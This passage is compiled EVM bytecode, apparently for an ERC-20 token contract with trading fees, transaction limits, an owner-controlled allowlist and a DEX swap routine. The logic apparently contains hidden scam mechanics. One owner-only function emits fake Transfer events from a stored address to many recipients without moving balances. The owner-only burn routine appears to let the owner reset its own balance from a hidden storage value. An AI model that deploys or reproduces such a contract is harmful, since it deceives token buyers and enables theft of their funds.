6815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620005a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200059d9062000e8c565b60405180910390fd5b620005ba600083836200073260201b60201c565b8060036000828254620005ce919062000eae565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000681919062000efa565b60405180910390a36200069d600083836200073760201b60201c565b5050565b620006b1620003d160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620006d76200073c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000730576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007279062000f67565b60405180910390fd5b565b505050565b505050565b6000806200074f6200075860201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620007d957600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620007fd565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620008905780860481111562000868576200086762000802565b5b6001851615620008785780820291505b8081029050620008888562000831565b945062000848565b94509492505050565b600082620008ab57600190506200097e565b81620008bb57600090506200097e565b8160018114620008d45760028114620008df5762000915565b60019150506200097e565b60ff841115620008f457620008f362000802565b5b8360020a9150848211156200090e576200090d62000802565b5b506200097e565b5060208310610133831016604e8410600b84101617156200094f5782820a90508381111562000949576200094862000802565b5b6200097e565b6200095e84848460016200083e565b9250905081840481111562000978576200097762000802565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620009a98262000985565b9150620009b6836200098f565b9250620009e57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000899565b905092915050565b6000620009fa8262000985565b915062000a078362000985565b925082820262000a178162000985565b9150828204841483151762000a315762000a3062000802565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a6a8262000a3d565b9050919050565b62000a7c8162000a5d565b811462000a8857600080fd5b50565b60008151905062000a9c8162000a71565b92915050565b60006020828403121562000abb5762000aba62000a38565b5b600062000acb8482850162000a8b565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b5657607f821691505b60208210810362000b6c5762000b6b62000b0e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000bd67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b97565b62000be2868362000b97565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000c2562000c1f62000c198462000985565b62000bfa565b62000985565b9050919050565b6000819050919050565b62000c418362000c04565b62000c5962000c508262000c2c565b84845462000ba4565b825550505050565b600090565b62000c7062000c61565b62000c7d81848462000c36565b505050565b5b8181101562000ca55762000c9960008262000c66565b60018101905062000c83565b5050565b601f82111562000cf45762000cbe8162000b72565b62000cc98462000b87565b8101602085101562000cd9578190505b62000cf162000ce88562000b87565b83018262000c82565b50505b505050565b600082821c905092915050565b600062000d196000198460080262000cf9565b1980831691505092915050565b600062000d34838362000d06565b9150826002028217905092915050565b62000d4f8262000ad4565b67ffffffffffffffff81111562000d6b5762000d6a62000adf565b5b62000d77825462000b3d565b62000d8482828562000ca9565b600060209050601f83116001811462000dbc576000841562000da7578287015190505b62000db3858262000d26565b86555062000e23565b601f19841662000dcc8662000b72565b60005b8281101562000df65784890151825560018201915060208501945060208101905062000dcf565b8683101562000e16578489015162000e12601f89168262000d06565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000e74601f8362000e2b565b915062000e818262000e3c565b602082019050919050565b6000602082019050818103600083015262000ea78162000e65565b9050919050565b600062000ebb8262000985565b915062000ec88362000985565b925082820190508082111562000ee35762000ee262000802565b5b92915050565b62000ef48162000985565b82525050565b600060208201905062000f11600083018462000ee9565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000f4f60208362000e2b565b915062000f5c8262000f17565b602082019050919050565b6000602082019050818103600083015262000f828162000f40565b9050919050565b6080516142a762000fba60003960008181610c520152818161285f01528181612940015261297d01526142a76000f3fe60806040526004361061021e5760003560e01c806389291a8f11610123578063c8c8ebe4116100ab578063dd8546521161006f578063dd85465214610792578063e2f45605146107bd578063f2fde38b146107e8578063f8b45b0514610811578063ffb54a991461083c57610225565b8063c8c8ebe4146106ab578063c9567bf9146106d6578063cb4f9f40146106ed578063cf9522fd1461072a578063dd62ed3e1461075557610225565b8063a457c2d7116100f2578063a457c2d7146105b6578063a9059cbb146105f3578063ad296d9d14610630578063afa4f3b214610659578063c2b7bbb61461068257610225565b806389291a8f146105205780638da5cb5b1461053757806395d89b41146105625780639a7a23d61461058d57610225565b80633be6e637116101a657806370a082311161017557806370a0823114610475578063715018a6146104b2578063751039fc146104c95780637571336a146104e05780637d16a7211461050957610225565b80633be6e637146103cd57806342966c68146103f6578063583e05681461041f5780636ddd17131461044a57610225565b806323b872dd116101ed57806323b872dd146102d457806326ededb814610311578063311028af1461033a578063313ce56714610365578063395093511461039057610225565b806306fdde031461022a578063095ea7b3146102555780630f054c061461029257806318160ddd146102a957610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610867565b60405161024c9190612baf565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612c79565b6108f9565b6040516102899190612cd4565b60405180910390f35b34801561029e57600080fd5b506102a761091c565b005b3480156102b557600080fd5b506102be610a6d565b6040516102cb9190612cfe565b60405180910390f35b3480156102e057600080fd5b506102fb60048036038101906102f69190612d19565b610a77565b6040516103089190612cd4565b60405180910390f35b34801561031d57600080fd5b5061033860048036038101906103339190612dd1565b610aa6565b005b34801561034657600080fd5b5061034f610b83565b60405161035c9190612cfe565b60405180910390f35b34801561037157600080fd5b5061037a610b89565b6040516103879190612e4d565b60405180910390f35b34801561039c57600080fd5b506103b760048036038101906103b29190612c79565b610b92565b6040516103c49190612cd4565b60405180910390f35b3480156103d957600080fd5b506103f460048036038101906103ef9190612e68565b610bc9565b005b34801561040257600080fd5b5061041d60048036038101906104189190612ea8565b610c34565b005b34801561042b57600080fd5b50610434610c50565b6040516104419190612f34565b60405180910390f35b34801561045657600080fd5b5061045f610c74565b60405161046c9190612cd4565b60405180910390f35b34801561048157600080fd5b5061049c60048036038101906104979190612f4f565b610c87565b6040516104a99190612cfe565b60405180910390f35b3480156104be57600080fd5b506104c7610ccf565b005b3480156104d557600080fd5b506104de610ce3565b005b3480156104ec57600080fd5b5061050760048036038101906105029190612fa8565b610d08565b005b34801561051557600080fd5b5061051e610d6b565b005b34801561052c57600080fd5b50610535610d90565b005b34801561054357600080fd5b5061054c610e24565b6040516105599190612ff7565b60405180910390f35b34801561056e57600080fd5b50610577610e4e565b6040516105849190612baf565b60405180910390f35b34801561059957600080fd5b506105b460048036038101906105af9190612fa8565b610ee0565b005b3480156105c257600080fd5b506105dd60048036038101906105d89190612c79565b610f86565b6040516105ea9190612cd4565b60405180910390f35b3480156105ff57600080fd5b5061061a60048036038101906106159190612c79565b610ffd565b6040516106279190612cd4565b60405180910390f35b34801561063c57600080fd5b5061065760048036038101906106529190613150565b611020565b005b34801561066557600080fd5b50610680600480360381019061067b9190612ea8565b611125565b005b34801561068e57600080fd5b506106a960048036038101906106a49190612f4f565b611155565b005b3480156106b757600080fd5b506106c06111a1565b6040516106cd9190612cfe565b60405180910390f35b3480156106e257600080fd5b506106eb6111a7565b005b3480156106f957600080fd5b50610714600480360381019061070f9190612f4f565b6111cc565b6040516107219190612cd4565b60405180910390f35b34801561073657600080fd5b5061073f611222565b60405161074c9190612cfe565b60405180910390f35b34801561076157600080fd5b5061077c600480360381019061077791906131ac565b611228565b6040516107899190612cfe565b60405180910390f35b34801561079e57600080fd5b506107a76112af565b6040516107b49190612cfe565b60405180910390f35b3480156107c957600080fd5b506107d26112b5565b6040516107df9190612cfe565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a9190612f4f565b6112bb565b005b34801561081d57600080fd5b5061082661133e565b6040516108339190612cfe565b60405180910390f35b34801561084857600080fd5b50610851611344565b60405161085e9190612cd4565b60405180910390f35b6060600480546108769061321b565b80601f01602080910402602001604051908101604052809291908181526020018280546108a29061321b565b80156108ef5780601f106108c4576101008083540402835291602001916108ef565b820191906000526020600020905b8154815290600101906020018083116108d257829003601f168201915b5050505050905090565b600080610904611357565b905061091181858561135f565b600191505092915050565b610924611528565b600030905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109649190612ff7565b602060405180830381865afa158015610981573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a59190613261565b9050600081116109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e1906132da565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a259291906132fa565b6020604051808303816000875af1158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a689190613338565b505050565b6000600354905090565b600080610a82611357565b9050610a8f8582856115a6565b610a9a858585611632565b60019150509392505050565b610aae611528565b60005b83839050811015610b7d57838382818110610acf57610ace613365565b5b9050602002016020810190610ae49190612f4f565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b629190612cfe565b60405180910390a38080610b75906133c3565b915050610ab1565b50505050565b60115481565b60006009905090565b600080610b9d611357565b9050610bbe818585610baf8589611228565b610bb9919061340b565b61135f565b600191505092915050565b610bd1611528565b60148211158015610be3575060328111155b610c22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c199061348b565b60405180910390fd5b81601381905550806012819055505050565b610c3c611528565b610c4d610c47611357565b82611f8e565b50565b7f000000000000000000000000000000000000000000000000000000000000000081565b601460009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cd7611528565b610ce16000612163565b565b610ceb611528565b6000610cf5610a6d565b905080600f8190555080600e8190555050565b610d10611528565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610d73611528565b6001601460006101000a81548160ff021916908315150217905550565b610d98611528565b60004711610ddb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd2906134f7565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e21573d6000803e3d6000fd5b50565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610e5d9061321b565b80601f0160208091040260200160405190810160405280929190818152602001828054610e899061321b565b8015610ed65780601f10610eab57610100808354040283529160200191610ed6565b820191906000526020600020905b815481529060010190602001808311610eb957829003601f168201915b5050505050905090565b610ee8611528565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6f90613589565b60405180910390fd5b610f828282612229565b5050565b600080610f91611357565b90506000610f9f8286611228565b905083811015610fe4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdb9061361b565b60405180910390fd5b610ff1828686840361135f565b60019250505092915050565b600080611008611357565b9050611015818585611632565b600191505092915050565b611028611528565b60005b825181101561112057816001600085848151811061104c5761104b613365565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508281815181106110b8576110b7613365565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb836040516111059190612cd4565b60405180910390a28080611118906133c3565b91505061102b565b505050565b61112d611528565b611135610b89565b600a611141919061376e565b8161114c91906137b9565b60108190555050565b61115d611528565b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b6111af611528565b6001601460016101000a81548160ff021916908315150217905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60125481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60135481565b60105481565b6112c3611528565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611332576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113299061386d565b60405180910390fd5b61133b81612163565b50565b600e5481565b601460019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c5906138ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361143d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143490613991565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161151b9190612cfe565b60405180910390a3505050565b611530611357565b73ffffffffffffffffffffffffffffffffffffffff1661154e6122ca565b73ffffffffffffffffffffffffffffffffffffffff16146115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b906139fd565b60405180910390fd5b565b60006115b28484611228565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461162c578181101561161e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161590613a69565b60405180910390fd5b61162b848484840361135f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169890613afb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170790613b8d565b60405180910390fd5b43601781905550600081036117305761172b838360006122de565b611f89565b611738610e24565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a65750611776610e24565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117df5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611819575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118325750600d60149054906101000a900460ff16155b15611bac57601460019054906101000a900460ff1661192c57600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118ec5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61192b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192290613bf9565b60405180910390fd5b5b601754600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611a155750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611abc57600f54811115611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5690613cb1565b60405180910390fd5b600e54611a6b83610c87565b82611a76919061340b565b1115611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae90613d1d565b60405180910390fd5b611bab565b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611b5f5750601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611baa57600f54811115611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613daf565b60405180910390fd5b5b5b5b6000611bb730610c87565b905060008082119050808015611bd95750601460009054906101000a900460ff165b8015611bf25750600d60149054906101000a900460ff16155b8015611c485750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c9e5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611cf45750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d39576001600d60146101000a81548160ff021916908315150217905550611d1d83612554565b6000600d60146101000a81548160ff0219169083151502179055505b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611dd35750600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460175411155b15611de257611de1856126e6565b5b6000600d60149054906101000a900460ff169050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e975750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ea157600090505b60008115611f7957601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f2a57611f236064611f1560125488612a3590919063ffffffff16565b612a4b90919063ffffffff16565b9050611f55565b611f526064611f4460135488612a3590919063ffffffff16565b612a4b90919063ffffffff16565b90505b6000811115611f6a57611f698730836122de565b5b8085611f769190613dcf565b94505b611f848787876122de565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff490613e75565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207a90613f07565b60405180910390fd5b816007546120919190613dcf565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282546120e59190613dcf565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161214a9190612cfe565b60405180910390a361215e83600084612a61565b505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000806122d5612a66565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361234d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234490613afb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b390613b8d565b60405180910390fd5b6123c7838383612b0e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561244d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244490613f99565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161253b9190612cfe565b60405180910390a361254e848484612a61565b50505050565b600061255f30610c87565b905060008082036125715750506126e3565b6000601254601354612583919061340b565b036125ff57600082118015612599575060105482105b156125a6578190506125fa565b60006125d060646125c260125487612a3590919063ffffffff16565b612a4b90919063ffffffff16565b905080846125de9190613dcf565b93506010548411156125f45760105491506125f8565b8391505b505b6126d7565b60008211801561262357506126206005601054612a4b90919063ffffffff16565b82105b1561262f5750506126e3565b60008211801561265357506126506005601054612a4b90919063ffffffff16565b82115b8015612660575060105482105b156126825761267b6005601054612a4b90919063ffffffff16565b90506126d6565b60006126ac606461269e60125487612a3590919063ffffffff16565b612a4b90919063ffffffff16565b905080846126ba9190613dcf565b93506010548411156126d05760105491506126d4565b8391505b505b5b6126e0816126e6565b50505b50565b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156127c057612780600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b13565b6127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b69061402b565b60405180910390fd5b5b6000600267ffffffffffffffff8111156127dd576127dc613012565b5b60405190808252806020026020018201604052801561280b5781602001602082028036833780820191505090505b509050308160008151811061282357612822613365565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156128c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128ec9190614060565b81600181518110612900576128ff613365565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061297b307f00000000000000000000000000000000000000000000000000000000000000008473ffffffffffffffffffffffffffffffffffffffff1661135f565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016129ff9594939291906141b7565b600060405180830381600087803b158015612a1957600080fd5b505af1158015612a2d573d6000803e3d6000fd5b505050505050565b60008183612a4391906137b9565b905092915050565b60008183612a599190614240565b905092915050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ae557600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612b09565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b60004382119050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b59578082015181840152602081019050612b3e565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b8182612b1f565b612b8b8185612b2a565b9350612b9b818560208601612b3b565b612ba481612b65565b840191505092915050565b60006020820190508181036000830152612bc98184612b76565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c1082612be5565b9050919050565b612c2081612c05565b8114612c2b57600080fd5b50565b600081359050612c3d81612c17565b92915050565b6000819050919050565b612c5681612c43565b8114612c6157600080fd5b50565b600081359050612c7381612c4d565b92915050565b60008060408385031215612c9057612c8f612bdb565b5b6000612c9e85828601612c2e565b9250506020612caf85828601612c64565b9150509250929050565b60008115159050919050565b612cce81612cb9565b82525050565b6000602082019050612ce96000830184612cc5565b92915050565b612cf881612c43565b82525050565b6000602082019050612d136000830184612cef565b92915050565b600080600060608486031215612d3257612d31612bdb565b5b6000612d4086828701612c2e565b9350506020612d5186828701612c2e565b9250506040612d6286828701612c64565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112612d9157612d90612d6c565b5b8235905067ffffffffffffffff811115612dae57612dad612d71565b5b602083019150836020820283011115612dca57612dc9612d76565b5b9250929050565b600080600060408486031215612dea57612de9612bdb565b5b600084013567ffffffffffffffff811115612e0857612e07612be0565b5b612e1486828701612d7b565b93509350506020612e2786828701612c64565b9150509250925092565b600060ff82169050919050565b612e4781612e31565b82525050565b6000602082019050612e626000830184612e3e565b92915050565b60008060408385031215612e7f57612e7e612bdb565b5b6000612e8d85828601612c64565b9250506020612e9e85828601612c64565b9150509250929050565b600060208284031215612ebe57612ebd612bdb565b5b6000612ecc84828501612c64565b91505092915050565b6000819050919050565b6000612efa612ef5612ef084612be5565b612ed5565b612be5565b9050919050565b6000612f0c82612edf565b9050919050565b6000612f1e82612f01565b9050919050565b612f2e81612f13565b82525050565b6000602082019050612f496000830184612f25565b92915050565b600060208284031215612f6557612f64612bdb565b5b6000612f7384828501612c2e565b91505092915050565b612f8581612cb9565b8114612f9057600080fd5b50565b600081359050612fa281612f7c565b92915050565b60008060408385031215612fbf57612fbe612bdb565b5b6000612fcd85828601612c2e565b9250506020612fde85828601612f93565b9150509250929050565b612ff181612c05565b82525050565b600060208201905061300c6000830184612fe8565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61304a82612b65565b810181811067ffffffffffffffff8211171561306957613068613012565b5b80604052505050565b600061307c612bd1565b90506130888282613041565b919050565b600067ffffffffffffffff8211156130a8576130a7613012565b5b602082029050602081019050919050565b60006130cc6130c78461308d565b613072565b905080838252602082019050602084028301858111156130ef576130ee612d76565b5b835b8181101561311857806131048882612c2e565b8452602084019350506020810190506130f1565b5050509392505050565b600082601f83011261313757613136612d6c565b5b81356131478482602086016130b9565b91505092915050565b6000806040838503121561316757613166612bdb565b5b600083013567ffffffffffffffff81111561318557613184612be0565b5b61319185828601613122565b92505060206131a285828601612f93565b9150509250929050565b600080604083850312156131c3576131c2612bdb565b5b60006131d185828601612c2e565b92505060206131e285828601612c2e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061323357607f821691505b602082108103613246576132456131ec565b5b50919050565b60008151905061325b81612c4d565b92915050565b60006020828403121561327757613276612bdb565b5b60006132858482850161324c565b91505092915050565b7f4e6f20746f6b656e7320746f20636c6561720000000000000000000000000000600082015250565b60006132c4601283612b2a565b91506132cf8261328e565b602082019050919050565b600060208201905081810360008301526132f3816132b7565b9050919050565b600060408201905061330f6000830185612fe8565b61331c6020830184612cef565b9392505050565b60008151905061333281612f7c565b92915050565b60006020828403121561334e5761334d612bdb565b5b600061335c84828501613323565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006133ce82612c43565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613400576133ff613394565b5b600182019050919050565b600061341682612c43565b915061342183612c43565b925082820190508082111561343957613438613394565b5b92915050565b7f466565732063616e6e6f74206578636565642033302500000000000000000000600082015250565b6000613475601683612b2a565b91506134808261343f565b602082019050919050565b600060208201905081810360008301526134a481613468565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b60006134e1601683612b2a565b91506134ec826134ab565b602082019050919050565b60006020820190508181036000830152613510816134d4565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613573603983612b2a565b915061357e82613517565b604082019050919050565b600060208201905081810360008301526135a281613566565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613605602583612b2a565b9150613610826135a9565b604082019050919050565b60006020820190508181036000830152613634816135f8565b9050919050565b60008160011c9050919050565b